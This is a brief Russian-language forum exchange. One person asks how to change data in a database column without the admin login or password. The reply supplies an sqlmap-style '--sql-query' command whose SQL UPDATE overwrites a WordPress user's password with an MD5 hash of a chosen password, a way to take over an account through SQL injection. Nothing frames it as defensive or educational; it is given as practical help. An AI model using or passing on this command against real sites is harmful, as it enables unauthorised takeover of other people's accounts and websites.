Можно ли как-нибудь изменить данные в колонке, если нет пароля/логина админа?

Низкая вероятность , что нужные права будут но примерно запросом --sql-query="UPDATE `wp_users` SET `user_pass`= MD5('yourpassword') WHERE `user_login`='yourusername';"